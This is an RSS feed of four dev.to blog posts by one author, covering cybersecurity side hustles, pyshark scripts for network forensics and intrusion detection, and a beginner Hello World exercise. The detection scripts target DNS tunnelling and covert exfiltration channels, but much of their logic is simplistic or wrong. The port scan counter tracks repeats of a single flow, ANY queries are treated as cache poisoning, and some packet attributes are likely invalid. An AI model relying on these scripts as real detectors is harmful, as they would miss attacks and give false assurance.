<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: William Baptist</title>
    <description>The latest articles on DEV Community by William Baptist (@baptistsec).</description>
    <link>https://dev.to/baptistsec</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1079854%2F45a9cbbe-5f4f-45b3-a0c8-635d5205f33e.jpg</url>
      <title>DEV Community: William Baptist</title>
      <link>https://dev.to/baptistsec</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/baptistsec"/>
    <language>en</language>
    <item>
      <title>5 Fun Side Hustles for Cybersecurity Students</title>
      <dc:creator>William Baptist</dc:creator>
      <pubDate>Sun, 04 Jun 2023 20:28:35 +0000</pubDate>
      <link>https://dev.to/baptistsec/fun-cybersecurity-side-hustles-for-students-85g</link>
      <guid>https://dev.to/baptistsec/fun-cybersecurity-side-hustles-for-students-85g</guid>
      <description>&lt;p&gt;So many online resources seem to be vastly outdated when it comes to side hustles, especially for students. I want to show practical ways that I’ve personally used in the past few months that worked for me and will work for you. What’s great is that all of these can be a learning experience alongside being a fun way to make money.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Building and Selling Cybersecurity Tools
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Income: $100–$500 per month&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I’ve been developing and selling my own cybersecurity tools extensively. You’ll be surprised how many businesses are willing to pay for customised solutions to meet their specific problems.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F2000%2F1%2AmMzRpROqEjg5oqRDV4L6HQ.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F2000%2F1%2AmMzRpROqEjg5oqRDV4L6HQ.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Identify a need within the market and develop a tool to meet it. This requires strong programming skills and a good understanding of cybersecurity. Once you’ve developed your tool, you can sell it on platforms like &lt;a href="https://github.com/marketplace" rel="noopener noreferrer"&gt;GitHub Marketplace&lt;/a&gt;, or directly to businesses.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Web Hosting Security Consultant
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Income: $100–$1000+ per month&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Now for this method I’m going to use &lt;a href="https://go.fiverr.com/visit/?bta=740228&amp;amp;brand=fiverraffiliates" rel="noopener noreferrer"&gt;Fiverr&lt;/a&gt; as an example because that was the site I used but you can use any other number of online freelance websites or even try hosting your own site!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F2000%2F1%2AtLUvOVvxDFHzSgUZoJok9w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F2000%2F1%2AtLUvOVvxDFHzSgUZoJok9w.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The key to this is to offer your services to a niche area of web hosting. For example, I offered setup services in SSL certificates for websites. I also would offer hosting as an option that was bundled with the SSL certificates.&lt;/p&gt;

&lt;p&gt;There are two platforms that helped me achieve this named &lt;a href="http://ssls.sjv.io/AWm0Nx" rel="noopener noreferrer"&gt;SSLs.com&lt;/a&gt; and &lt;a href="http://skystra.sjv.io/homepage" rel="noopener noreferrer"&gt;Skystra&lt;/a&gt; with the former being the main source of income. I gained the skills in my first year of college for choosing the correct SSL certificate and setting this up for the client (naturally charging extra for the setup fee)&lt;/p&gt;

&lt;p&gt;Skystra allowed me to scale what I needed by charging monthly so I would recommend looking into the best options for your hustle.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Security eCommerce
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Income: $100–$10,000+ per month&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Let’s be honest, traditional dropshopping sucks in 2023 but it doesn’t mean you can’t take advantage of that concept.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F3260%2F1%2AakpUogkxSwKk6NslgdRugg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F3260%2F1%2AakpUogkxSwKk6NslgdRugg.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can try your hand at creating  a custom platform or a mobile app that caters to a niche market and integrate it with &lt;a href="http://easyship.ilbqy6.net/deal" rel="noopener noreferrer"&gt;Easyship&lt;/a&gt; for seamless fulfillment. For example, you could make an e-commerce platform for physical security goods that are tailored to computers (Encrypted USBs, Webcam covers etc.)&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Online Cybersecurity Tutoring
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Income: $200 — $1000+ per month&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;As you know there is a high demand for cybersecurity knowledge and many people are looking for tutors to help them grasp complex cybersecurity concepts.&lt;/p&gt;

&lt;p&gt;Join online tutoring platforms like &lt;a href="https://www.chegg.com/" rel="noopener noreferrer"&gt;Chegg&lt;/a&gt; and &lt;a href="https://www.tutor.com/" rel="noopener noreferrer"&gt;Tutor.com&lt;/a&gt;. To be an effective tutor, it’s best if you already have a good grasp of cybersecurity principles, patience, and excellent communication skills.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Writing Cybersecurity Articles
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Income: $0–$200 per month&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Finally, this is one I do a lot and the key to it is fun!&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F2000%2F1%2AKdXj5TdUD4ncvBoMxpHwhg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F2000%2F1%2AKdXj5TdUD4ncvBoMxpHwhg.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It’s less of a sidehustle but to me there is nothing better than sharing cool tools within articles about cybersecurity. It also looks really good on your resume if you are actively engaging and contributing to the cybersecurity community. &lt;/p&gt;

&lt;p&gt;Get noticed, get inspired and check out &lt;a href="https://dev.to/williambaptist"&gt;my profile&lt;/a&gt; and see if you can spot some more articles you might like!&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>tutorial</category>
      <category>productivity</category>
      <category>career</category>
    </item>
    <item>
      <title>Advanced Wireshark Scripts for Intrusion Detection</title>
      <dc:creator>William Baptist</dc:creator>
      <pubDate>Sun, 14 May 2023 19:14:38 +0000</pubDate>
      <link>https://dev.to/baptistsec/powerful-wireshark-scripts-for-easy-intrusion-detection-6pe</link>
      <guid>https://dev.to/baptistsec/powerful-wireshark-scripts-for-easy-intrusion-detection-6pe</guid>
      <description>&lt;p&gt;In this article, I have delved into the depths of Wireshark scripting once again and discovered some unconventional techniques to unravel hidden threats and identify suspicious activities. &lt;/p&gt;

&lt;h2&gt;
  
  
  Revealing Covert Channels:
&lt;/h2&gt;

&lt;p&gt;Covert channels are stealthy communication paths that bypass traditional security measures. To expose these hidden channels, you can leverage Wireshark scripting and Python’s flexibility. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The following script detects hidden communication within seemingly harmless network traffic:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import pyshark

#Open the captured packets file
cap = pyshark.FileCapture("packets.pcapng")

#Detect suspicious covert channels
for pkt in cap:
    if "HTTP" in pkt:
        payload = pkt.http.payload
        if payload and payload.startswith("CovertChannel"):
            print(f"Covert Channel Detected: {payload}")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F2000%2F1%2AiHAORro-HSR-iuJTknTx9w.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F2000%2F1%2AiHAORro-HSR-iuJTknTx9w.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By analysing the payload of HTTP packets, it can identify covert channels that employ specific keywords or patterns. This shines a light on covert communication, allowing you to take appropriate countermeasures.&lt;/p&gt;

&lt;h2&gt;
  
  
  Uncovering DNS Tunneling:
&lt;/h2&gt;

&lt;p&gt;DNS tunneling is a technique used to bypass network security by encapsulating data within DNS requests and responses. Let’s shed light on these covert channels.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The following script identifies potential DNS tunnels:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import pyshark
import dnslib

#Open the captured packets file
cap = pyshark.FileCapture("packets.pcapng")

#Detect potential DNS tunnels
for pkt in cap:
    if "DNS" in pkt:
        dns_packet = dnslib.DNSRecord.parse(pkt.dns.raw)
        for question in dns_packet.questions:
            if "tunnel" in str(question.qname):
                print("Potential DNS Tunnel Detected!")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;By parsing DNS packets and inspecting the requested domain names (questions), you can pinpoint suspicious queries that may indicate the presence of a DNS tunnel. This script acts as a valuable early warning system against covert data exfiltration.&lt;/p&gt;

&lt;h2&gt;
  
  
  Utilising Statistical Anomaly Detection:
&lt;/h2&gt;

&lt;p&gt;Intrusion detection can be enhanced by leveraging statistical anomaly detection techniques. Wireshark scripting, combined with Python’s statistical libraries, can help us identify deviations from normal network behavior. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Consider the following script that applies anomaly detection to packet sizes:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import pyshark
import numpy as np
from scipy.stats import zscore

#Open the captured packets file
cap = pyshark.FileCapture("packets.pcapng")

#Extract packet sizes
packet_sizes = [int(pkt.length) for pkt in cap]

#Detect anomalous packet sizes
z_scores = zscore(packet_sizes)
anomalies = np.where(z_scores &amp;gt; 3)[0]

if len(anomalies) &amp;gt; 0:
    print("Anomalous Packet Sizes Detected!")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;By calculating z-scores for packet sizes and comparing them to a threshold, it can identify packets that deviate significantly from the expected range. This script allows you to spot abnormal packet size patterns, potentially indicating network anomalies or malicious activities.&lt;/p&gt;

&lt;h2&gt;
  
  
  Port Scan Detector:
&lt;/h2&gt;

&lt;p&gt;A port scanner detector is essential for network security as it helps identify unauthorised scanning activities. By detecting port scans, it enables administrators to pinpoint potential vulnerabilities in their systems and take appropriate measures to mitigate risks. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This proactive script aims to cover these bases:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import pyshark

#Open the captured packets file
cap = pyshark.FileCapture("packets.pcapng")

#Track port scanning activities
scan_counter = {}

#Detect port scans
for pkt in cap:
    if "TCP" in pkt:
        src_ip = pkt.ip.src
        dst_ip = pkt.ip.dst
        src_port = pkt.tcp.srcport
        dst_port = pkt.tcp.dstport
        activity = f"{src_ip}:{src_port} --&amp;gt; {dst_ip}:{dst_port}"

        if activity in scan_counter:
            scan_counter[activity] += 1
        else:
            scan_counter[activity] = 1

#Identify potential port scanning activities
for activity, count in scan_counter.items():
    if count &amp;gt; 5:  #Adjust the threshold as per your needs
        print(f"Possible Port Scanning Detected: {activity} ({count} attempts)")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F2000%2F1%2A4SVY249aoK6uKhTrxr0itw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F2000%2F1%2A4SVY249aoK6uKhTrxr0itw.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The script examines each packet to determine if it is associated with the TCP protocol. For every communication flow between two endpoints, a distinct identifier is generated. As the script encounters packets, it updates the counter accordingly. If the count surpasses a predefined threshold, an alert is triggered, indicating a port scan taking place.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exposing  DNS Cache Poisoning Attacks:
&lt;/h2&gt;

&lt;p&gt;Network’s DNS Infrastructure is obviously crucial, these attacks can lead to incorrect DNS responses. They can also lead to redirecting users to malicious websites, intercepting their communications or compromising their data.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;By effectively detecting and preventing this with this script below it ensures the reliability and trustworthiness of our system:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import pyshark
import dnslib

#Open the captured packets file
cap = pyshark.FileCapture("packets.pcapng")

#Track DNS cache poisoning attempts
poisoning_attempts = []

#Detect DNS cache poisoning attacks
for pkt in cap:
    if "DNS" in pkt:
        dns_packet = dnslib.DNSRecord.parse(pkt.dns.raw)
        for question in dns_packet.questions:
            if question.qtype == dnslib.QTYPE.ANY:
                qname = str(question.qname)
                if qname not in poisoning_attempts:
                    poisoning_attempts.append(qname)

#Display the identified DNS cache poisoning attempts
if poisoning_attempts:
    print("Detected DNS Cache Poisoning Attempts:")
    for attempt in poisoning_attempts:
        print(attempt)
else:
    print("No DNS Cache Poisoning Attempts Detected.")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;By parsing the captured packets, the script identifies DNS packets and examines the questions section for requests of any type. If a request for an ANY type is found, the script extracts the domain name and checks if it is already in the list of detected poisoning attempts. If not, it adds the domain name to the list. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Finally, the script displays the identified DNS cache poisoning attempts, or a message indicating that no attempts were detected leaving the following result:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F2000%2F1%2AVhMH1QX1q2tj-N2IpciMaw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F2000%2F1%2AVhMH1QX1q2tj-N2IpciMaw.png" alt="Your Network is Healthy :)"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Detecting hidden communication within seemingly harmless network traffic allows us to expose vulnerabilities that otherwise could go unnoticed. I hope that you found some use from these scripts and remember that you will be required to extensively change them to get some use from your own network!&lt;/p&gt;

</description>
      <category>tutorial</category>
      <category>python</category>
      <category>cybersecurity</category>
      <category>beginners</category>
    </item>
    <item>
      <title>Simple Wireshark Scripts for Easy Network Forensics</title>
      <dc:creator>William Baptist</dc:creator>
      <pubDate>Thu, 11 May 2023 19:20:08 +0000</pubDate>
      <link>https://dev.to/baptistsec/simple-wireshark-scripts-for-easy-network-forensics-1ij1</link>
      <guid>https://dev.to/baptistsec/simple-wireshark-scripts-for-easy-network-forensics-1ij1</guid>
      <description>&lt;p&gt;In this article, I’ll show you some practical Python code snippets to simplify network forensics.&lt;/p&gt;

&lt;h2&gt;
  
  
  Capturing Packets:
&lt;/h2&gt;

&lt;p&gt;With the help of the pyshark library, the script can swiftly grab packets based on filters and save them for further analysis.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;To install pyshark, type in the terminal:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install pyshark
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Then take a look at this code snippet:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import pyshark

#Define capture interface and filter fields
capture = pyshark.LiveCapture(interface='eth0', display_filter='tcp')

#Start capturing packets
capture.sniff(timeout=10)

#Save captured packets to a file
capture.export_packet_stream("packets.pcap")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
  
  
  Analysing Packets:
&lt;/h2&gt;

&lt;p&gt;Now that the packets are captured, let’s analyse them with the next script. Pyshark provides a straightforward way to extract valuable information from captured packets.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Check out this example that extracts the source and destination IP addresses of TCP packets:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import pyshark

#Open the packets file
cap = pyshark.FileCapture("packets.pcap")

#Extract source and destination IP addresses of TCP packets
for pkt in cap:
    if "TCP" in pkt:
        print(f"Source IP: {pkt.ip.src}, Destination IP: {pkt.ip.dst}")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
  
  
  Filtering Packets:
&lt;/h2&gt;

&lt;p&gt;Filtering out noise from captured packets will makes lives much easier. Pyshark allows us to apply display filters to narrow down the packets we analyse. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Let’s see how to filter and count HTTP packets:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import pyshark

#Open the captured packets file
cap = pyshark.FileCapture("packets.pcap")

#Apply a display filter to focus on HTTP packets
cap.set_display_filter('http')

#Count the number of HTTP packets
http_count = 0
for pkt in cap:
    http_count += 1

print(f"Total HTTP packets: {http_count}")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
  
  
  Filtering Packets with a Twist:
&lt;/h2&gt;

&lt;p&gt;Let’s take packet filtering to the next level. Pyshark is not only used for simple filtering but also offers a range of powerful filtering options that can make the analysis even more precise.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Look at this more advanced filtering script using Pyshark:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import pyshark

#Open the captured packets file
cap = pyshark.FileCapture("packets.pcap")

#Apply a complex display filter to focus on specific traffic
cap.set_display_filter('tcp.port == 80 &amp;amp;&amp;amp; ip.dst == 192.168.0.1')

#Count the number of filtered packets
filtered_count = 0
for pkt in cap:
    filtered_count += 1

print(f"Total filtered packets: {filtered_count}")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;In this example, there is a display filter that targets TCP packets with a destination IP of 192.168.0.1 and a port of 80. Feel free to unleash your creativity and customise the filters based on your specific investigation needs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Adding a Dash of Visualisation:
&lt;/h2&gt;

&lt;p&gt;Now, let’s bring the network forensics findings to life with some eye-catching visualisations. The Matplotlib library is handy, allowing the creation of captivating charts and graphs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Install Matplotlib library in terminal with the following:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install matplotlib
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Then the scapy library:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pip install scapy
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Here’s the script that visualises the distribution of IP types for each packet:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from scapy.all import *
import matplotlib.pyplot as plt

#Read the pcap file
packets = rdpcap("packets.pcap")

#Dictionary to store protocol counts
protocol_counts = {}

#Iterate over the captured packets
for pkt in packets:
    if IP in pkt:
        protocol = pkt[IP].proto
        protocol_counts[protocol] = protocol_counts.get(protocol, 0) + 1

#Prepare data for the diagram
protocols = list(protocol_counts.keys())
count_values = list(protocol_counts.values())

#Plotting the diagram
plt.bar(protocols, count_values)
plt.xlabel('Protocol')
plt.ylabel('Count')
plt.title('Protocol Distribution')
plt.show()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The script reads the pcap file that was created from Wireshark and iterates over the captured packets, counting the occurrences of different IP protocols. The diagram created provides insights into the protocol distribution, helping to understand the composition of the network traffic captured in the pcap file.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;You’ll be able to witness the the occurrences of different IP protocols, all in a beautifully rendered chart:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F2000%2F1%2A3o6xsDCJOzcBgZU1t07URQ.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fcdn-images-1.medium.com%2Fmax%2F2000%2F1%2A3o6xsDCJOzcBgZU1t07URQ.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From crafting precise display filters to visualising packet characteristics, Python and Wireshark scripting empowers us to navigate the intricate digital realm with clarity.&lt;/p&gt;

&lt;p&gt;Capture, analyse, filter, and visualise your way to the heart of your network’s darkest mysteries. Happy scripting and may your investigations be as smooth as my packet capture visualisation.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>network</category>
      <category>beginners</category>
      <category>python</category>
    </item>
    <item>
      <title>Hello World meets the Feynman Technique</title>
      <dc:creator>William Baptist</dc:creator>
      <pubDate>Wed, 10 May 2023 21:58:03 +0000</pubDate>
      <link>https://dev.to/baptistsec/solving-hello-world-with-the-feynman-technique-1kbd</link>
      <guid>https://dev.to/baptistsec/solving-hello-world-with-the-feynman-technique-1kbd</guid>
      <description>&lt;p&gt;Imagine taking a simple one-liner in Python and turning it into a more complex program that you have to explain to a toddler. Sound like a challenge? Well, it certainly was for me.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;To guide me through the process, I decided to use the powerful and effective Feynman Technique, which follows the following four steps:&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1: Choose a Concept
&lt;/h2&gt;

&lt;p&gt;The first step of the Feynman Technique is to choose a concept that you want to understand. In my case, I wanted to understand the basics of Python programming and how to create a “Hello World” program that was more complex than the usual one-liner.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I went back to basics with Python and experimented with the different code snippets below:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# How must people would (and should) print Hello, World!
print("Hello, World!")

# Using variables in a Hello, World!
message = "Hello, World!"
print(message)

# Adding user input to a "Hello World" program
name = input("What is your name? ")
print("Hello " + name)

# Adding a loop to the Hello, World! program
for i in range(5):
    print("Hello, World!)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
  
  
  Step 2: Teach it to a Toddler
&lt;/h2&gt;

&lt;p&gt;The second step of the Feynman Technique, of course, is to teach the concept to a toddler. If I can explain it in simple terms that a child can understand, then it helps two people. So, luckily for me (and him), it was my grandfather’s birthday recently, so I decided to explain the basics of Python programming to my little cousin, who is six years old. I started by showing him some simple Python code and explaining what each line did.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--5dv6D4yf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/10368/1%2AA-Rxip4hB2oaKf5-j8crdg.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--5dv6D4yf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/10368/1%2AA-Rxip4hB2oaKf5-j8crdg.jpeg" alt="Photo by [Lauren McConachie](https://unsplash.com/@coldwisper?utm_source=unsplash&amp;amp;utm_medium=referral&amp;amp;utm_content=creditCopyText)" width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I used analogies and examples to help him understand, and I tried to make it fun by turning it into a game. I explained conditional statements by comparing them with a traffic light. When the light is green, you can go, but when it is red, you have to stop. Similarly, in a program, if a certain condition is met, you can execute a set of instructions, but if it is not met, you can execute a different set of instructions. By the end of our lesson, he was able to create his own “Hello World” program and, to my surprise, was excited to learn more.&lt;/p&gt;
&lt;h2&gt;
  
  
  Step 3: Identify Gaps and Fill Them
&lt;/h2&gt;

&lt;p&gt;The third step of the Feynman Technique is to identify any gaps in your understanding and fill them in. After teaching my little cousin about Python, I realised that there were still some areas that were hard to teach to people who weren’t already proficient in coding. My cousin had trouble understanding why we needed to use variables and how they were different from one another. To overcome this challenge, I used another simple analogy to explain the concept. I told him that variables were like containers that we use to store different types of things, such as toys or clothes. Just like we use different containers for different things, we use different variables to store different types of data, such as numbers or words.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--93D2kvfp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/8000/1%2AxvrwYanaGpPBmqxtiYbhxg.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--93D2kvfp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/8000/1%2AxvrwYanaGpPBmqxtiYbhxg.jpeg" alt="Photo by [Annie Spratt](https://unsplash.com/@anniespratt?utm_source=unsplash&amp;amp;utm_medium=referral&amp;amp;utm_content=creditCopyText)" width="800" height="567"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I found that explaining the concept of object-oriented programming to someone without any prior knowledge of coding can be a bit challenging. However, through further research and practice, I was able to strengthen my understanding and break down the topic in a more approachable way. By the end of this step, I felt confident in my ability to explain the more complex “Hello, World!” program.&lt;/p&gt;
&lt;h2&gt;
  
  
  Step 4: Simplify and Use Analogies
&lt;/h2&gt;

&lt;p&gt;The fourth and final step of the Feynman Technique is to simplify the concept and use analogies to help explain it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Here’s what my “complex” Hello World program looks like:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;import random

def get_greeting():
    greetings = ["Hello", "Hi", "Hey", "Greetings"]
    return random.choice(greetings)

def get_name():
    name = input("What's your name? ")
    return name

def greet():
    greeting = get_greeting()
    name = get_name()
    print(f"{greeting} {name}, welcome to my program!")

if __name__ == "__main__":
    greet()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--tb2yzE9Q--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/2000/1%2AotqYDBPxPP3wI6pGlF3cag.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--tb2yzE9Q--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://cdn-images-1.medium.com/max/2000/1%2AotqYDBPxPP3wI6pGlF3cag.png" alt="Terminal output" width="276" height="124"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let’s say my grandpa’s birthday had a surprise party. We want to greet him with a random greeting from a list of possible greetings and also ask him for his name so we can address him properly.&lt;/p&gt;

